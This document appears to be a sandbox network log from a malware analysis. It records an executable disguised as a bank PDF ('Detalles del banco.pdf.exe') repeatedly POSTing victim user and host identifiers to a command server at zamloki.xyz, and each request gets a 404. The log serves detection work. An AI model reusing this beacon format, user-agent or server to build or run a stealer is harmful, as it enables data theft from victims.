Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.2.6	49772	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:07:38.546160936 CEST	6919	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:07:38.576571941 CEST	6919	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:07:38.827035904 CEST	6920	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:07:38 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=AwQe%2FD63gBAb9YMpxIgoPoWWDI6uYUOfXhpFI4TZAEcRo9Nm5dBnUAoGwTXKNmfsEFzGxVe1qO1MQjtLwibVMfq3GsO78kMmxz7mmd3ej9rkORSt%2F%2BxprWqyj4HubA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587ec1f8954de8-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.2.6	49773	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:07:40.039285898 CEST	6920	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:07:40.066505909 CEST	6921	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:07:40.330121994 CEST	6921	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:07:40 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=i9gWQj%2BM84%2Fw3ylRxmvqm8bx3%2F%2BaD7Czsf0Gj5UROOQ6ssGcukao27U916ayExdVISHnC1UN0M6ORze%2FqENLdNEIr9C44kP6IuK%2BgtUbPUYW0OGSFfDIL6JlLOUEZw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587ecb5a134351-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.2.6	49774	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:07:40.644849062 CEST	6922	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:07:40.672698021 CEST	6923	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:07:40.963196039 CEST	6923	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:07:40 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=RZxUnBWY%2FoGyysXPLw5EdIU%2Bx7l7hysJwixZMvwgfk4v3cc43oEWTRmTdJwJWHvvp%2B6v3UbX1ZKdqtIgEhjIrgj3EphVqymq6y52FDz%2FkwxMoWAP3WL8rirRa0%2Fa%2Bw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587ecf1f4dc2c7-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.2.6	49775	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:07:41.382419109 CEST	6924	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:07:41.410001993 CEST	6924	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:07:41.662458897 CEST	6925	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:07:41 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=fqy%2B9Jzkxec4iqc0tkmZimLwg6q8uYrzWvcxg8AgJJoP5e%2Fy68QAXM0LCKDyXgVtI7icrQlVDtHaHenMGMCCtrQDmF2aVoWQicGQ%2F%2BuZtmAuvXMGs%2Bfj1Qem%2BEFkDg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587ed3be314a5c-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	192.168.2.6	49776	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:07:41.977185965 CEST	6926	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:07:42.004367113 CEST	6926	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:07:42.262231112 CEST	6927	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:07:42 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=HYpo2f5e1SLKYWsDd8KYOUJYqlqvApCWVSiSNO04kdxvKa2Sdrhf814MBsjC1HLfCk4Yz80vxS%2BV8M5TplhMrpCcZXebR2AQDSTMugxk75VwPMxXKlWAnMWp1iGWgA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587ed768224ed9-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.2.6	49777	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:07:42.581568956 CEST	6928	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:07:42.610954046 CEST	6928	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:07:42.886313915 CEST	6929	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:07:42 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Vn9t0hLfLwZ8B1SLIGnmdrwaRAW21uZgrzlM7FImzX0%2FiH8Zi1yXr0tbEvq3TPsUq9v1BYtIf8FJ4LU%2BbfW0pWVddhNw85xyXkoGvx9FGwslSZqQGaxX7V6jh2yq4g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587edb3bf2646d-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	192.168.2.6	49778	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:07:43.246994019 CEST	6930	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:07:43.274502039 CEST	6930	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:07:43.510684013 CEST	6931	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:07:43 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=HL1ju8%2FDzU5iOO%2Be1T7mrRnXFDapF8ZEdCh7%2ByOcI%2BE8UtStvBzgYtMmD3kKpIVKTh2%2BPsv7l1K8y6igr0ajLIjde9c5nP6VLsocZkMwmumEr0DrH0mW2Ks1qdZ2Og%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587edf5c870609-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.6	49727	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:07:18.297281981 CEST	1302	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:07:18.327878952 CEST	1303	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:07:18.657910109 CEST	1303	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:07:18 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=iSPbZgGKY7jYJxdfwYfqcbQ1MGjbdC9h5wDGRIPs%2FgpgqOcpKphqEcZNogQrf8nAegueOakksWr1ZwByoVNw9txbsloDacdUKsdTXthfZ9mLwAMccwttZw1xjuxpZw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587e436e412b41-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.2.6	49779	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:07:43.790280104 CEST	6932	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:07:43.819510937 CEST	6932	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:07:44.189711094 CEST	6933	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:07:44 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=o2qg1fzjoEiUXbPoZmJ%2FAb%2BuHd28%2FY7%2Fjq0rG%2BeFDSOjM2SpVxOCoK1iDkmFqfRL7OWfO1q4p8a8IxbKapzMo5K3AUt3bd77Lgs50zDHbeohA%2BAykmOxE1u%2ByPLJFg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587ee2cb61c2e5-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
41	192.168.2.6	49780	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:07:44.482639074 CEST	6934	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:07:44.510783911 CEST	6934	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:07:44.788959980 CEST	6935	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:07:44 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=slxEHLCdVf7h%2BJEkbfa6VdVQ6k%2BvwiAxTbVSRK%2FkaMg12Mfl9c%2Bt0%2F10DEfwsye5u%2BhrSSKc9CQ9k%2B0t8kKKakq5rFQ57P5Wz5XXEiN3A3zYACZOF%2Fzie9Y%2FqsOu%2FA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587ee71f6d4e8c-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
42	192.168.2.6	49781	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:07:45.094517946 CEST	6935	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:07:45.122976065 CEST	6936	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:07:45.395843029 CEST	6936	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:07:45 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=imAt2TARLXc3T44zH3tJJrsQxXqQebALBFwlDhvMXg34QqiwGNhAZSjLXQyOyqkcSz3V%2BU8Z794PhizFPUTnC3b9%2BdonLcPo%2FV4ZKhTX9DwMeqGf%2B90xGcevjzf7YQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587eeafac64db8-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
43	192.168.2.6	49782	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:07:45.665029049 CEST	6937	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:07:45.693802118 CEST	6938	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:07:45.952595949 CEST	6938	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:07:45 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=3dwi218%2F6d8BcpvqG1hLmEV3VBvoV1xGP%2B6Tc9wn6ETN8A%2F3vhIXLFAnzEEBPpw40iWNfoq6haMPIAsG9tusemusuOLGRvh99v4012XYLPEen0I82D6DAX8E%2BuytCA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587eee784f42e7-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
44	192.168.2.6	49783	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:07:46.233969927 CEST	6939	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:07:46.261635065 CEST	6939	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:07:46.514087915 CEST	6940	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:07:46 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=7nBUtyUeUfFFuk5f%2FP06zhTjK4cKU2I10FUu9QHbCTYMtPniPU2eG%2Fk9pQ%2BNcarxuu4MTs6%2FiTvhlTLuMnWOIGSLl3hiMZD%2B%2B%2FcZF8v84b%2BhEM9YplCGfDkmcC1%2Bqw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587ef20c5dd6ed-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
45	192.168.2.6	49784	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:07:46.813707113 CEST	6941	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:07:46.844805002 CEST	6941	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Jul 27, 2021 22:07:47.148789883 CEST	6942	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Jul 2021 20:07:47 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=xH%2BF9bvaFI1fjo0mG62KctcugS5SxVe9b0TbrySvG47JosMC9SVHGkFodR1OGs8Rs6%2BM0myEDz1Kbv87wbuLXZb0sLM5OOoexikQeYo7cUMPkTDYfWQsizuEz6pM9Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67587ef5adaf05fd-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
46	192.168.2.6	49785	172.67.155.45	80	C:\Users\user\Desktop\Detalles del banco.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Jul 27, 2021 22:07:47.392683983 CEST	6943	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 169 Connection: close
Jul 27, 2021 22:07:47.424021006 CEST	6943	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 10 00 00 00 65 00 6e 00 67 00 69 00 6e 00 65 00 65 00 72 00 01 00 0c 00 00 00 38 00 34 00 31 00 36 00 31 00 38 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 Data Ascii: (ckav.ruengineer841618DESKTOP-716T77108F9C4E9C79A3B52B3F739430
